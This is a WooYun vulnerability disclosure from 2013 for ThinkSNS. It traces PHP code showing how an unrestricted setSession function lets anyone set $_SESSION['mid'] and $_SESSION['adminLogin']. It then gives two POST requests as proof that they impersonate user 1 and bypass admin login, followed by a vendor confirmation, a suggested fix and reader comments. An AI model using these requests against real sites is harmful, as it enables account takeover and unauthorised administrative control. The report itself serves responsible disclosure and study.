当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2013-43033

漏洞标题: ThinkSNS任意用户登陆+后台管理绕过

相关厂商: ThinkSNS

漏洞作者: 猪头子

提交时间: 2013-11-15 22:56

公开时间: 2014-02-13 22:57

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 逻辑错误 越权操作 敏感功能直接对外

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-15: 细节已通知厂商并且等待厂商处理中
2013-11-17: 厂商已经确认,细节仅向厂商公开
2013-11-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-01-11: 细节向核心白帽子及相关领域专家公开
2014-01-21: 细节向普通白帽子公开
2014-01-31: 细节向实习白帽子公开
2014-02-13: 细节向公众公开

简要描述:

大概三个月前找到的,没想到还是没补

详细说明:

在/apps/page/Lib/Action/DiyAction.class.php 205行 setSession函数:

code 区域
public function setSession() {
echo $_SESSION [ $_POST ['name'] ] = base64_encode( $_POST ['layout']) ;
}



setSession函数用POST传入的name和base64编码的layout为$_SESSION赋值。

在/apps/admin/Lib/Action/AdministratorAction.class.php的_initialize函数是负责判断当前用户是否有后台管理员权限的:

code 区域
public function _initialize()
{
if(!model('Passport')->checkAdminLogin()){
redirect(U('admin/Public/login'));
}
$this->systemdata_list = APP_NAME.'_'.MODULE_NAME;
$this->systemdata_key = ACTION_NAME;
$this->pageKey = APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME;
$this->searchPageKey = 'S_'.APP_NAME.'_'.MODULE_NAME.'_'.ACTION_NAME;
$this->savePostUrl = U('admin/Index/saveConfigData');
$this->searchPostUrl = U(APP_NAME.'/'.MODULE_NAME.'/'.ACTION_NAME);
$this->submitAlias = L('PUBLIC_SAVE');
$this->assign('isAdmin',1);
$this->onload[] = 'admin.bindTrOn()';
$this->getSearchPost(); //默认初始化post查询

if(!CheckPermission('core_admin','admin_login')){
$this->assign('jumpUrl',SITE_URL);
$this->error(L('PUBLIC_NO_FRONTPLATFORM_PERMISSION_ADMIN'));
}
$this->navList = model('Xdata')->get('admin_nav:top');
}



有两个点是验证权限的地方,跟进去

先看checkAdminLogin函数

/addons/model/PassportModel.class.php checkAdminLogin()

code 区域
/**
* 验证后台登录
* @return boolean 是否已经登录后台
*/
public function checkAdminLogin() {
if($_SESSION['adminLogin']) {
return true;
} else {
return false;
}
}



这段代码判断若$_SESSION['adminLogin']存在那么直接返回true,因此可以通过前面的setSession函数设置一下$_SESSION['adminLogin']就可以了,不必关心它的值。

看CheckPermission函数:

/core\OpenSociax\functions.inc.php:987

code 区域
/**
* 验证权限方法
* @param string $load 应用 - 模块 字段
* @param string $action 权限节点字段
* @param unknown_type $group 是否指定应用内部用户组
*/
function CheckPermission($load = '', $action = '', $group = ''){
if(empty($load) || empty($action)) {
return false;
}
$Permission = model('Permission')->load($load);
if(!empty($group)){
return $Permission->group($group)->check($action);
}
return $Permission->check($action);
}



在跟踪的时候会进入$Permission->check($action),因此继续跟下去:

/addons/model/PermissionModel.class.php

code 区域
/**
* 验证权限
* @param string $action 动作节点
* @return boolean 是否具有该动作节点的权限
*/
public function check($action) {
// 验证时载入当前应用 - 模块的权限
if(empty($this->option['app']) || empty($this->option['module'])) {
return false;
}
// 判断是否为扩展应用
if(!in_array($this->option['app'], array('core'))) {
// 判断应用是否关闭
$isOpen = model('App')->isAppNameOpen(strtolower($this->option['app']));
if(!$isOpen) {
return false;
}
}

$permission = $this->loadRule($GLOBALS['ts']['mid']);

if(isset($permission[$this->option['app']][$this->option['module']][$action])) {
return true;
}

return false;
}



$GLOBALS['ts']['mid']的值是当前用户的id,loadRule函数根据这个从系统中读取当前id用户所拥有的权限,我们需要把这里的mid改1才能通过校验。

于是在程序入口找了一遍$GLOBALS['ts']['mid']是怎么被赋值的:

/core/OpenSociax/Action.class.php:

code 区域
//当前登录者uid
$GLOBALS['ts']['mid'] = $this->mid = intval($_SESSION['mid']);



这里使用了intval从session中取出mid放到globals里面。

需要注意的是intval的原理,截取第一个数字作为函数的返回值,如intval('1a')=1,intval('a')=0,intval('a1a')=0

然后找到%D5的base64编码是1开头的,所以给$_SESSION['mid']设置为%D5

漏洞证明:

1. POST index.php?app=page&mod=Diy&act=setSession

name=mid&layout=%D4

2. POST index.php?app=page&mod=Diy&act=setSession

name=adminLogin&layout=test

2.jpg

修复方案:

至少对这个函数做下限制吧,不允许用户提交key

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-17 02:33

厂商回复:

非常感谢,一个非常严重的漏洞。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-11-15 23:39 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    2

    MARK

  2. 2013-11-16 11:07 | 李旭敏 ( 普通白帽子 | Rank:790 漏洞数:111 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)
    1

    洞主发的洞洞一直都是我的最爱啊···

  3. 2013-11-17 06:33 | s0mun5 认证白帽子 ( 普通白帽子 | Rank:509 漏洞数:25 | hacked by 肉肉)
    1

    爱上一个不回短信的人

  4. 2013-12-06 15:44 | zzR 认证白帽子 ( 核心白帽子 | Rank:1408 漏洞数:125 | 东方红**联盟欢迎你-0-)
    0

    非常严重为啥不给20 呀-0-

  5. 2014-04-08 22:23 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)
    0

    <?php echo base64_encode("%D5"); ?> JUQ1 intval 后,值为0 貌似这里有问题!

  6. 2014-04-10 16:04 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    @江南的鱼 =。= 哪里有问题了,%D5是URL编码,正确的写法是base64_encode(urldecode("%d5"))

  7. 2014-04-10 23:03 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)
    0

    @猪头子 学习了。确实是我测试时搞错了!忽视了URL编码

登录后才能发表评论,请先 登录